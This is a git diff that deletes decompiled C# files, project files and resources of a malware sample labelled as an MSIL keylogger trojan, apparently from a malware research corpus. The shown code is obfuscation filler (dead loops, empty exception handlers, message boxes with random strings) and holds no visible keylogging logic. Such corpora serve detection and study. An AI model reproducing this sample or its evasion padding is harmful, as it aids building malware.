(num9 <= 95421); - int num12 = (int) Interaction.MsgBox((object) "XƒRPnKLC.3Vrv&%„‚<4-‰vQ=€‡s=-€!‚po…„[Žv]‰d1`Tb\u0081dz^UIfGutQ5byk/5A1f)43H‡Xj6Dd„{>&.UbJk"); - } - - public object U2NW0IV9x31JTkLl8D0pWLLC5v() - { - while (true) - { - if (false) - ; - } - int num1 = (int) MessageBox.Show("€UŒl1€MFcŒ\u0081<Œn %R}ŽA^‹`ƒYVsŽ%‘\u008FaWtV\\gD+u@dNXy7ŽoQQ[0eH'ˆˆ(3n-RAd\u008F?w78VQ.r9 Œ](*BZ#]gV~\u008F.lag^1Og\u0081C|[ZRwW\u008D LQLH.K€‘ƒ4)ˆl-1Bi]i"); - if (true) - ; - bool flag = true; - if (true) - ; - while (false) - { - while (false) - { - if (false) - { - while (true) - { - while (false) - ; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - while (false) - { - if (false) - { - while (true) - flag = true; - int num2 = (int) Interaction.MsgBox((object) "‹€\u007F!lE\u008D„U`4|&dd}Ž@3NO8‹@„&.$‡h‚pukaeYƒ}VC~v%{\u008D2Ecˆ?tp$Tr‡_/f6‰\u008F\u007FqV&M#’C*Vo+cU†X‰‡|S’H.’q7\u0081pŒs6@M‚ŠGD‡xBcd4= ‹ƒ=!'9rMU\u008FVbVG65BII?Opt]^31Y‚N3„‘yFcn…ZW…‹…Sw€_a-A:~\u0090d:.rV‡6c‡eaBq"); - } - int num3 = (int) Interaction.MsgBox((object) "ƒdfW‚z\\x‚*zEU`Ka3H†M^7ƒ8‘C‡‘ED0%H‘p[mv\u008F5'U?hnat\\$M\u008D}*#ltMX^†^R^\u008Dt\u0090Wƒƒ†PLqF(Š;\\Ob…VA‰6:=\u008D$z?=PB\\un\u008Dd=1j0\u0090`,w\u008DtY„)Ž '0g"); - } - ProjectData.ClearProjectError(); - } - } - if (true) - { - int num4 = (int) Interaction.MsgBox((object) "nJCd5g"); - } - } - int num5 = (int) Interaction.MsgBox((object) "D$ƒ’J`(\u008DmPxS+(n*/Al~%?MeUBC\u008D€‹JB#‹dy18Zƒt-"); - } - } - return (object) 15525; - } - - public void Tml4BgbDTMex9() - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - do - ; - while (false); -label_44: - if (true) - { - int num1 = 5794; - do - { - int num2 = (int) MessageBox.Show("‚…S%a‚|L#/nv^\u0081X}x}Q9Kw)S‰C2wc;ˆ}{="); - if (true) - { - int num3 = 32; - do - { - while (true) - ; - int num4 = 37; - do - { - if (true) - ; - checked { ++num4; } - } - while (num4 <= 52); - checked { ++num3; } - } - while (num3 <= 8492); - } - while (true) - { - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - while (false) - { - int num5 = (int) MessageBox.Show("hf?kd9ei>+‹ta&!wF…#/#+iaV?m~` .\u008D‡\u0090ZBPi@JW‘lU3X;'kT*?~‰+Q}|\u0090>‡o~>Oc^\u0081!>u#‘lj%R3N‘$f3,‰‚/‘„)Xgl!U{2N%b\u008DL&Lq'@1>&’iM‘:A[qG_T_\u008FŠx.J\u00906‚…$-~$j_y"); - } - int num7 = (int) MessageBox.Show(">Aon -Œ~t\u0090‡…CGCaXEqTZYpe>\u008F\u0090b%BO+$(\u008F/V/21(Y‰2PvOƒ/Žj<}6&wc*O$/JxQa{\u0081;J3+I3_K b^4[`-R)k2A\u0081!7_Lr-!qsXdgˆ3X\u008FƒA)=}%4%ˆ‡VŠo"); - int num8 = 32843041; - do - { - checked { ++num8; } - } - while (num8 <= 48625410); -label_31: - if (false) - { - try - { - } - catch (Exception ex4) - { - ProjectData.SetProjectError(ex4); - ProjectData.ClearProjectError(); - } - while (true) - ; - goto label_31; - } - else - ProjectData.ClearProjectError(); - } - } - while (true) - { - try - { - } - catch (Exception ex5) - { - ProjectData.SetProjectError(ex5); - ProjectData.ClearProjectError(); - } - } - if (false) - { - int num9 = (int) Interaction.MsgBox((object) "ZvNeR0ndY62Ye5zom"); - } - checked { ++num1; } - } - while (num1 <= 84076065); - goto label_44; - } - else - { - if (false) - { - int num = (int) Interaction.MsgBox((object) "Y00GePs47m3R"); - } - ProjectData.ClearProjectError(); - } - } - if (false) - { - int num10 = (int) Interaction.MsgBox((object) "XRPW5oMnsEA9v3"); - } - ProjectData.ClearProjectError(); - } - int num11 = (int) Interaction.MsgBox((object) "rZ’6q%b]vj)Že8:-1HjƒpM-_'pddJ|5-ƒJA2ŠG.‡vhht|[}m\u007F#S5RT\u0090ELR/ T\u00902ŒUŽ+;‰'6}:u,(xLu^…‰wGI nNM\u008FyW8-SyUn?\u0081Obwx€h\u008DpHˆ` pc.]9~cT@p€ŒAre-AFe)-‡/C2"); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Q442g1f5Onjhrb38EJ07A2cX4am.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Q442g1f5Onjhrb38EJ07A2cX4am.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Q442g1f5Onjhrb38EJ07A2cX4am.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Trojan-Spy.MSIL.KeyLogger.bxxv.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Trojan-Spy.MSIL.KeyLogger.bxxv.csproj deleted file mode 100644 index b881da0f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Trojan-Spy.MSIL.KeyLogger.bxxv.csproj +++ /dev/null @@ -1,76 +0,0 @@ - - - - - Debug - AnyCPU - {8D765F61-F3D8-4084-B692-5F74D751C5A1} - WinExe - Q - 2.0.0.2 - Q - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Trojan-Spy.MSIL.KeyLogger.bxxv.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Trojan-Spy.MSIL.KeyLogger.bxxv.sln deleted file mode 100644 index 07325ae4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Trojan-Spy.MSIL.KeyLogger.bxxv.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Q", "Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.csproj", "{8D765F61-F3D8-4084-B692-5F74D751C5A1}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {8D765F61-F3D8-4084-B692-5F74D751C5A1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {8D765F61-F3D8-4084-B692-5F74D751C5A1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8D765F61-F3D8-4084-B692-5F74D751C5A1}.Release|Any CPU.ActiveCfg = Release|Any CPU - {8D765F61-F3D8-4084-B692-5F74D751C5A1}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/WYeVnEg2c8C85.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/WYeVnEg2c8C85.cs deleted file mode 100644 index dede99cd..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/WYeVnEg2c8C85.cs +++ /dev/null @@ -1,320 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.WYeVnEg2c8C85 -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Windows.Forms; - -namespace Q -{ - [StandardModule] - internal sealed class WYeVnEg2c8C85 - { - public static object t92x5AGcH9dB9XF() - { - long num1 = 57; - bool flag = true; - while (false) - { - if (true) - ; - } - flag = false; - if (true) - { - while (false) - { - flag = true; - do - ; - while (false); - flag = true; - num1 = 1744841L; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - while (true) - ; - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - ProjectData.ClearProjectError(); - } - try - { - } - catch (Exception ex4) - { - ProjectData.SetProjectError(ex4); - flag = false; - ProjectData.ClearProjectError(); - } - while (true) - { - try - { - } - catch (Exception ex5) - { - ProjectData.SetProjectError(ex5); - flag = false; - ProjectData.ClearProjectError(); - } - do - ; - while (true); - flag = true; - } - ProjectData.ClearProjectError(); - } - } - if (true) - num1 = 0L; -label_39: - if (true) - { - flag = true; - int num2 = 5827582; - do - { - if (false) - ; - checked { ++num2; } - } - while (num2 <= 74853271); - goto label_39; - } - } - num1 = 281381428L; - while (true) - ; - do - ; - while (false); - while (true) - ; - num1 = 857411265L; - if (false) - ; - int num3 = 4; - do - { - checked { ++num3; } - } - while (num3 <= 9); - return (object) 0; - } - - private static void o5HE7bcwbll363gcn() - { - Decimal num1 = 98M; - Decimal num2 = 5914M; - string str = "c(j‡!oi]~E.G‰ƒ-dD]‰’`,Ž\u0081\u008F6yON.:-!O`j9%Š'BSvuqHy]S\u0081p?@V7V-|Š}‰9/p*!EZCUK?e\u0081p-I90gO;\u008F_PŽ\u007F^7)]P-,0(C%kpA9\u0090UPlQx*-‡kCNmCIt3 YmFYŽGd>n7t\u0081‘\u0081ˆj‚>[9=\u0090,,V[T3`&AŽN}+5%ZzV+`J#vDA€bfS*9\u008Du[a:"); - str = "q7e7jbSbeQyf4Pvir7Z1VCe048G7SZEU1l83Ct5oa16I14892M3Amc05Mcz2CsOkQTC26lAtFMxtzq49D1BAdV"; - str = "VxZ"; - } - num4 = 0; - if (true) - ; - str = "UH9D0Np4fNT2gxz36n5f9S7I2de37thyU0Kz821YGKu51e65ce1L5qltrcDh3Z3B25dZQ9hKw1THiO2ih2cGrPn6TyxF525UKdw34j61rF65MZXb2aUI1DRg71VI91vVN4VQ9QpP0JG8Hb813U0X1fj02Pw88Uc8C0ky386XhS1zfD4pr4vke2XBfe0CuiNJ0cvO"; - if (true) - { - while (true) - num2 = 4124M; - while (false) - { - str = "k849uZ1YIi49etK92R7W5Cv0108mvq203M5NSkRSk9vWtZp5cJfJ21EZrMyaL1eN92xGL20mbtmSfBb8LixsxZFE3m3H0g11dKgTrNE3"; - num4 = 450999379; - } - flag = false; - flag = true; - num5 = 74108.0; - num1 = 4087610M; - int num10 = (int) MessageBox.Show("+?%_pmY;p!_*|{A=W_f|Q†x| ‹$ ).-T…rN7X734Bd‚Ac‰"); - flag = true; - int num13 = 89597; - while (num13 <= 22) - { - num7 = 3560666L; - num4 = 1; - num4 = 0; - do - ; - while (false); - checked { ++num13; } - } - int num14 = (int) Interaction.MsgBox((object) "OO„4…J{y:†Q‰XQ[Q^‰t2`$‘Q<ˆ+ZsYxoK€VqŒMg$ ŒF‡fE^/_d(W4ˆKQSŠ\u008F?A&t.O:-d%sd\\--`+k\\hc_J4‡o]ZVU$>QHu\u008D77X"); - ProjectData.ClearProjectError(); - } - int num15 = (int) Interaction.MsgBox((object) "\u008D)~ ^J&H@x‰ALr‰„€Q„si. Ub,wKe†S$=KeAH†03T.4>Gs#i"); - } - } - if (false) - { - int num16 = (int) Interaction.MsgBox((object) "vJlr3WAQySN7WD"); - } - } - int num17 = (int) Interaction.MsgBox((object) "„F;cIW-9‚jTQ7FO\\Xb"); - } - if (false) - { - int num18 = (int) Interaction.MsgBox((object) "ePzEf973RYAVUX79"); - } - } - - private static void ILF8VAtHR04YbeOE6EeW0Rw6R6() - { - while (true) - ; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (false) - { - while (true) - { - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - } - } - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Y8ZQPn178BO8vhW.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Y8ZQPn178BO8vhW.cs deleted file mode 100644 index 161e6432..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Y8ZQPn178BO8vhW.cs +++ /dev/null @@ -1,301 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.Y8ZQPn178BO8vhW -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Q -{ - internal class Y8ZQPn178BO8vhW - { - [DebuggerNonUserCode] - public Y8ZQPn178BO8vhW() - { - } - - private object y7NEb0() - { - long num1 = 5; - string str = "NU:d&+0\u008DfI„d,E‡L[†‚h`O@€koF5N-BB:iu‘††T@‚'\u0081=P\u008D„rvAŒwkzx‘4L‹IwŽ_X&a"; - Decimal num2 = 1M; - int num3 = 2896; - bool flag1 = false; - num3 = 3019; - long num4 = 8; - bool flag2 = false; - int num5 = 140; - do - { - num2 = 814490020M; - checked { ++num5; } - } - while (num5 <= 7607); - Decimal num6 = 709M; - num6 = 0M; - num4 = 862619340L; - num3 = 79; - num2 = 37353617M; - int num7 = 961953; - while (num7 <= 8714) - { - flag2 = true; - checked { ++num7; } - } - num6 = 52487M; - double num8 = 535045.0; - while (false) - { - flag1 = true; - if (false) - { - if (true) - { - flag2 = false; - int num9 = 8298016; - do - { - checked { ++num9; } - } - while (num9 <= 82460213); - num6 = 5891630M; - num8 = 10.0; - } - str = "oj7kUm9gDK233gC042k0xZ0Gt8VH1iiF5nD7E8X8D4Z0jf6iwCq409DTpFw95Xq4kH5pGiX2U3l71xc2Hr88MKP7wu405RNBjXij9DhkqRbUk3g6zYvgh9TlXOKhHaa5N4M5ADJr5R1zs2J4k71OTEMQ8W1c"; - flag1 = false; - while (false) - { - int num10 = (int) MessageBox.Show("qdJwl8ƒ<{€Y@S[-!zOyhh8(a FYJ#S…Y’\u008D+iZ‰RN9\u0081\u008F?(@;sz/\u008D7Š6X\\{wErY8GŽ’@XOWZƒ\u0090JOz<{Xr+xb‡Xnb\u0090yf,q2,osihD)’uCCg*9_fMb9l…5LG_6xsTWbt\\G[3 2F=@|h\u008F‰|tƒWw"); - ProjectData.ClearProjectError(); - } - checked { ++num5; } - } - while (true) - { - int num7 = 45964080; - while (num7 <= 7537) - { - num1 = 5961.0; - num2 = 832730174; - num1 = 1876.0; - checked { ++num7; } - } - num1 = 74.0; - num2 = 105; - if (true) - { - int num8 = (int) MessageBox.Show("2‚M)&o‚p-q1GaV‚!t.{y/~_\\#$(%\u008D‚L>|h\\?'Z0niQAu}/-j^Dvtu‚jFC„&g|u>D†^Œ\u008DbŒ9‘-0q\\|r†‰PYh,k[\u008D\u00905\u008F6T.'\u007Fn#QŠd4o\u008FK\\vhr‹}Z22+5B,2lJdŽwfvx‚%CZJ{Aut]=bˆ…:$KU$B#„\\a„w_ 8ŠH"); - } - } - num2 = 6570550; - num1 = 544014.0; - if (true) - ; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - do - ; - while (true); - num1 = 149981.0; - ProjectData.ClearProjectError(); - } - } - if (false) - { - int num9 = (int) Interaction.MsgBox((object) "j2fo4h5zltbJL6"); - } - } - } - int num10 = (int) Interaction.MsgBox((object) " _Y!?'\u0081W8*_9LzQA‚%R"); - } - if (true) - { - int num11 = (int) Interaction.MsgBox((object) "Jz67Qlu68cIS7X"); - } - } - int num12 = (int) Interaction.MsgBox((object) "‹ˆ4oeŒŽRID>†#/k*2)‹gA!d^$#*$#5o}^\u00811Ekd…€Q\u008FU’g88CPqh\u0090o}bŠChja‚ŠO3hTH5‘FRa7+6D^eŠ~~yfD`r.t>:!ŒD\u0090Y_BI3ƒG*?&ycf>Kpq~u)D+f‰Eg‰vEOg†.pw<;wŽ{T\\$YŒ]- \u0081CD-a‡5ToS€<,awƒQ†U‰Y.TŒƒ\u008Dgz&,\u0090z"); - } - - private void aNFhu781BFs3QKob1t9gfrETWX2() - { - Decimal num1 = 5M; - int num2 = 0; - while (false) - { - if (true) - ; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num3 = 444; - do - { - if (false) - ; - num2 = 256628931; - int num4 = (int) MessageBox.Show("!’ŠŠsi$UtqN9†;eŽ\u007FE0\u008DRqti(yCf,€vU\u008D\u007FNU…hq†\u0090~.0q\u0090*‰Sz/H[nQC>@\u0081\u008DFQH†Ž‹?&€0)6g=\u0090gbcŠ*oM2EqM\u008D>N*6dzv__U:5yq#(CpŒs=q|tmIw>Œ>#5`\u0090 juŒXOƒpQ2GM1KkD‚hwlo_eI\\;Zf@R%h|pLEJ8]ƒ`@iL@7KegONP†"); - num1 = 90M; - num2 = 31; - int num5 = 323; - do - { - if (false) - { - int num6 = (int) MessageBox.Show("yˆHjJEG=@R’\u0090\u0090v90;\u007Fc04E&Z4/Pr3aF-*…UK&VrH?‚*DD]\u0090O‚k.%CXBT\u0081€U;ˆh*q,„†*A\u0081*w-;„E:u6j2 ƒZS@}ec \\8!VSjwK8R"); - if (true) - { - do - ; - while (true); - } - if (true) - ; - num1 = 0M; - int num7 = 479978; - do - { - while (false) - ; - num1 = 40642M; - checked { ++num7; } - } - while (num7 <= 21940911); - while (true) - { - num2 = 67243; - num2 = 7; - while (false) - ; - num2 = 4229; - if (false) - ; - } - int num8 = (int) Interaction.MsgBox((object) "i_.s]v$2F@\u007FB&…ƒDo-xu1R*dD8BŽOe.Qky(T\u0090yˆeKL{RpS\u0090Igˆ^ŠTsM\u007Fˆ+T/ Bvs1Nj@}NF‰73Jwjk†„:‹GY&7\u0090ŠL;_…Dyd(i'@B{p_8bhr@Hi5<8cˆ'Ž‡t@7B6V|G N’%6‰-X‚Jpirc'pSj\u008D(r/\u007F)g[2\u0090m`hv+‹V’5PHRwU97`p}‡tDKRŒ?|/bˆPmw0}Bt\u008D^y,'[#AZC<ˆg\\‰q=ƒO!Wo|!e=Vd&`=I 51t{ƒ&ŽŠlI\u007FIj‘wEks"); - } - num4 = 46.0; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - int num7 = 7907184; - while (num7 <= 6589) - checked { ++num7; } - int num8 = 804792; - while (num8 <= 6) - { - int num9 = 8; - do - { - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - flag1 = true; - num4 = 346882761.0; - str = "dz1R7ohq2pfs8EccNyt3RoLcLTBO6X8TOv4CcW8jC1TDyYymqNVTaX19V885fvBm7EdJ29eiG7Ou7WmkvZ5xkRTI0aTDLTK23o3r0Uxd644Tc4R1"; - ProjectData.ClearProjectError(); - } - int num10 = 755005; - while (num10 <= 62) - { - num5 = 4M; - flag1 = true; - num4 = 1.0; - checked { ++num10; } - } - num3 = 363; - checked { ++num9; } - } - while (num9 <= 46917); - flag2 = true; - checked { ++num8; } - } - if (false) - { - num3 = 4904; - if (true) - ; - num3 = 1; - if (false) - { - while (false) - { - while (false) - { - int num11 = 26693541; - while (num11 <= 1382008) - { - str = "Y5oGSDzeneango34fky77QMwdp03GFSS73a4sV0Z5U1hfD6fkn0ia10gCqo8NE6zAnsVWwIi8SY8vF2szUx35rZzSbx"; - while (false) - num3 = 81880; - int num12 = 1156; - do - { - checked { ++num12; } - } - while (num12 <= 34341); - int num13 = (int) MessageBox.Show("170bk5A‡)T†ˆ‚BfwEN0bYE!\u0090ie.‹ƒ=D<4{O7kr\\}[#Z=s^y9yk@Y\u007FXTUu]g&&I#\u007F/js'†O+f„F&V~v=+~‡1"); - } - if (true) - { - int num18 = (int) Interaction.MsgBox((object) "YdM1RC7jrmzzNE"); - } - } - int num19 = (int) Interaction.MsgBox((object) "g3@,azkC6‹=ICU€a;dŒ4\u007F}‚y’MNa19ˆ][YJ,"); - } - if (true) - { - int num20 = (int) Interaction.MsgBox((object) "cUqd1"); - } - } - ProjectData.ClearProjectError(); - } - int num21 = (int) Interaction.MsgBox((object) "CkM-CtL*0+\u008D\u0090†Œ~f}:vBt?0’pFj8IN34>c?&!io,D)3"); - } - int num22 = (int) Interaction.MsgBox((object) "}M4#By\\D3S#ZNP\u008F*3ttŠyrBmwe3]i‘j,qy†‹U5'hjƒ*0;^f9s"); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/ay97PbFT20PTEOrs9OYziG8.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/ay97PbFT20PTEOrs9OYziG8.cs deleted file mode 100644 index 702ddcbe..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/ay97PbFT20PTEOrs9OYziG8.cs +++ /dev/null @@ -1,353 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.ay97PbFT20PTEOrs9OYziG8 -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Q -{ - internal class ay97PbFT20PTEOrs9OYziG8 - { - [DebuggerNonUserCode] - public ay97PbFT20PTEOrs9OYziG8() - { - } - - private void wTHj57jkRE79sux26nrrW4() - { - int num1 = 6716798; - do - { - checked { ++num1; } - } - while (num1 <= 72987580); - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - do - ; - while (true); - ProjectData.ClearProjectError(); - } - do - ; - while (true); - int num2 = (int) Interaction.MsgBox((object) ")2: n@ jD'ˆz\u007FASnn‹|"); - str3 = "KNDS638NwP4Zja4UbNUjrnX9hHW9DRb5y9muuD85srWsix751DAc345HPU0PcgNQ4R7kh9E8Dcc849cIFjlnVjHeSX0Th342"; - str4 = "mud6mr57DfU02r2UvvHTME1j1D483Kg4vAWt7Qoo1790RWXW68LX4GbF5jakZ46xf05i9Nn0v6VsK0xB41Fj3k95W99623590g42n9c2g61a0zdmmyM86eTQo51TqsX22wv1x2e97va3uS003AlQoXuL5Ga9"; - while (false) - { - int num7 = 1; - do - { - num3 = 148L; - if (false) - { - while (true) - ; - } - num1 = 2.0; - num3 = 2963954L; - checked { ++num7; } - } - while (num7 <= 52879); - if (false) - ; - } - while (true) - num3 = 467L; - num1 = 77583.0; - num5 = 83M; - } - - private void CdHBdtul43aQlLex4ydQx4U4wH1h9() - { - int num1 = 893; - do - { - checked { ++num1; } - } - while (num1 <= 45176983); - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - if (true) - ; - ProjectData.ClearProjectError(); - } - int num2 = 651; - string str1 = "O0C&\\Ž!PŒoGyiJY`1*'i)P:‚yŠ<$\u008DLS]B\u008D\u008D(Ya\u007F;w0^MbAVA3…S]jt=’ˆS?eq\u0090V`;}Vo"; - bool flag = false; - string str2 = "-Vm\u00901_mƒ7eg2-y\u008D[P!\\\u0081ly…kiRWN^\u008DHdp9Le,o,}2\u0090o4|Ep|A’Er_’Fc!Fr'?D<=V‡LGNt‡qno*p\u0081Dtm-_hE†19&-IMv…kRŠy„|OŒcd- ƒC<†3\u0090L2xg‹/BmFEDJY\u008D{#jy'S‹"; - double num3 = 0.0; - Decimal num4 = 755M; - while (false) - { - while (true) - { - num4 = 1818M; - num4 = 27M; - str2 = "QcQbs11250I0knIlpYa5xUYiRSvTh5B1N399hiF40MT5JEjJ0rDh2JZlf24L2Q6f1cdU9tlH810nD97f9co29v22884yuMJ9jSFfLUt7SD7FkvjNNmD"; - flag = false; - } - } - flag = true; - long num5 = 858; - while (true) - { - num3 = 6.0; - num4 = 3378M; - while (false) - { - num2 = 969; - str2 = "AmYxJYXz87tFA3Btsg7NrYWIg5fL1cZ23nlZkYcH4WYDcPdM9TQ9T129CU99M2PnVOJGb5AIIg5zDu64JDJ6ZyJ1QWKobx2tJq0UvYO6Jaxr4198os2GhhSuU45KT4A43q28GhbbA1JVf1u5zYU98nX9WgTPSTpiA4"; - } - num2 = 8; - num5 = 6783416L; - num4 = 90953630M; - if (true) - ; - num2 = 6285842; - int num6 = 0; - do - { - num4 = 7891M; - int num7 = 58485556; - while (num7 <= 8938519) - { - int num8 = (int) MessageBox.Show(" Œ_\\6+AkJGZm71[\u0081\u008Fd\u008Do+†ŒŽ’#\u0090fFw/~{PŒ"); - num4 = 60466M; - while (false) - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (true) - { - num4 = 98543763M; - if (false) - { - 